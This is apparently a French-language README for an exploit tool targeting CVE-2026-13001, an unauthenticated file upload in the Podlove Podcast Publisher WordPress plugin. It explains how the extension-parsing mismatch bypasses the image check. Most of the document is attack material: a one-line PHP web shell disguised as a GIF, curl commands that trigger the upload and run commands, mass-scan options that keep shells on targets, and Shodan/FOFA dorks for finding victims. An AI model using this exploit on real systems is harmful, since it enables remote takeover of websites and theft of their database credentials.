
Exploit pour CVE-2026-13001, un téléversement de fichier arbitraire non authentifié dans le plugin WordPress Podlove Podcast Publisher, permettant l'exécution de code à distance via un téléversement de fichier polyglotte PHP. Inclut des modes de scan sur cible unique et en masse.
CVE-2026-13001 est une vulnérabilité de téléversement arbitraire de fichier non authentifiée de sévérité critique (CVSS 9.8) dans le plugin WordPress Podlove Podcast Publisher versions ≤ 4.5.1.
La vulnérabilité exploite une incohérence entre deux fonctions internes qui analysent les extensions de fichier différemment :
is_image() utilise basename() qui inclut les chaînes de requête → l'URL shell.php?.gif apparaît comme .gif ✅ (image valide)extract_file_extension() utilise uniquement le chemin de parse_url() → renvoie .php → le fichier est enregistré avec l'extension .php 🚨Les attaquants téléversent des polyglottes PHP GIF89a (en-tête GIF valide + PHP intégré) qui passent la validation d'image mais s'exécutent comme PHP lorsqu'ils sont accédés.
| Version | Statut |
|---|---|
| ≤ 4.5.1 | Vulnérable |
| 4.5.2+ | Corrigée |
Découverte par : Talal Nasraddeen via Wordfence (14 juillet 2026)
// is_image() — utilise basename() qui inclut la chaîne de requête
function is_image($url) {
$ext = strtolower(pathinfo(basename($url), PATHINFO_EXTENSION));
return in_array($ext, ['jpg','jpeg','png','gif','webp']);
}
// URL: https://attacker.com/shell.php?.gif
// basename() → "shell.php?.gif" → ext = "gif" ✅ CONTOURNÉ
// extract_file_extension() — utilise uniquement le chemin de parse_url()
function extract_file_extension($url) {
$path = parse_url($url, PHP_URL_PATH);
return pathinfo($path, PATHINFO_EXTENSION);
}
// URL: https://attacker.com/shell.php?.gif
// parse_url() → "/shell.php" → ext = "php" 🚨 ENREGISTRÉ COMME .php
1. L'attaquant héberge un polyglotte PHP GIF89a sur attacker.com/shell.php?.gif
2. GET /?podlove_image_cache_url={hex(url)}&podlove_file_name=test
3. is_image() valide l'extension .gif → RÉUSSI
4. Le plugin télécharge le fichier → l'enregistre comme test_original.php dans cache/
5. L'attaquant accède à /wp-content/cache/podlove/{hash}/test_original.php
6. PHP s'exécute → RCE
git clone https://github.com/shinthink/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt
# Cible unique
python cve_2026_13001.py -t target.com
# Analyse de masse
python cve_2026_13001.py -f targets.txt -o shells.txt
# URL de payload personnalisée
python cve_2026_13001.py -t target.com --payload-url https://yourserver/shell.php?.gif
# Mode débogage, conserver les shells
python cve_2026_13001.py -t target.com --debug --no-cleanup
-t, --target Cible unique (domaine ou IP)
-f, --file Liste de cibles, une par ligne
-o, --output Enregistrer les URL RCE dans un fichier
--payload-url URL hébergeant le polyglotte PHP (défaut : GitHub raw)
--threads Workers simultanés (défaut : 30)
--no-cleanup Conserver les shells sur la cible
--debug Afficher chaque requête HTTP
-v, --verbose Sortie détaillée
$ python cve_2026_13001.py -t podcast-site.com
Podlove Podcast Publisher | CVE-2026-13001 | CVSS 9.8
Host : podcast-site.com
Podlove : OUI v4.5.1
Upload : OUI
RCE : OUI
Shell : https://podcast-site.com/wp-content/cache/podlove/a1/b2.../think_xxx_original.php?t=TOKEN
Output : uid=33(www-data) gid=33(www-data)
Time : 4.2s
Targets: 500 | Threads: 30
Payload URL: https://raw.githubusercontent.com/shinthink/payloads/main/shell.gif
[RCE] podcast-vuln-01.com https://podcast-vuln-01.com/wp-content/cache/podlove/...
[150/500] 30% | Det:42 RCE:8
Étape 1 — Héberger un shell polyglotte
// shell.php — enregistrez et hébergez sur votre serveur
GIF89a<?php system($_GET['c']); ?>
Étape 2 — Encoder l'URL en hexadécimal avec le contournement
# URL: https://attacker.com/shell.php?.gif
echo -n "https://attacker.com/shell.php?.gif" | xxd -p | tr -d '\n'
Étape 3 — Déclencher le téléchargement du cache
curl 'https://target.com/?podlove_image_cache_url=68747470733a2f2f...&podlove_file_name=shell&podlove_width=100&podlove_height=100&podlove_crop=0'
Étape 4 — Accéder au shell
# Chemin : wp-content/cache/podlove/{h[:2]}/{h[2:]}/{name}_original.php
curl 'https://target.com/wp-content/cache/podlove/a1/b2c3.../shell_original.php?c=id'
FOFA: body="podlove-podcasting-plugin-for-wordpress"
Shodan: http.html:"podlove"
Une exploitation réussie permet l'exécution de code à distance en tant qu'utilisateur du serveur web :
wp-config.php → identifiants de base de donnéesUNIQUEMENT À DES FINS ÉDUCATIVES ET DE TESTS AUTORISÉS.
Les auteurs déclinent toute responsabilité en cas d'utilisation abusive.
| Ressource | Lien |
|---|---|
| Avis Wordfence | wordfence.com |
| Publication de sécurité Podlove | podlove.org |
| Entrée NVD | CVE-2026-13001 |
| Chercheur | Talal Nasraddeen |
Non affilié à Podlove.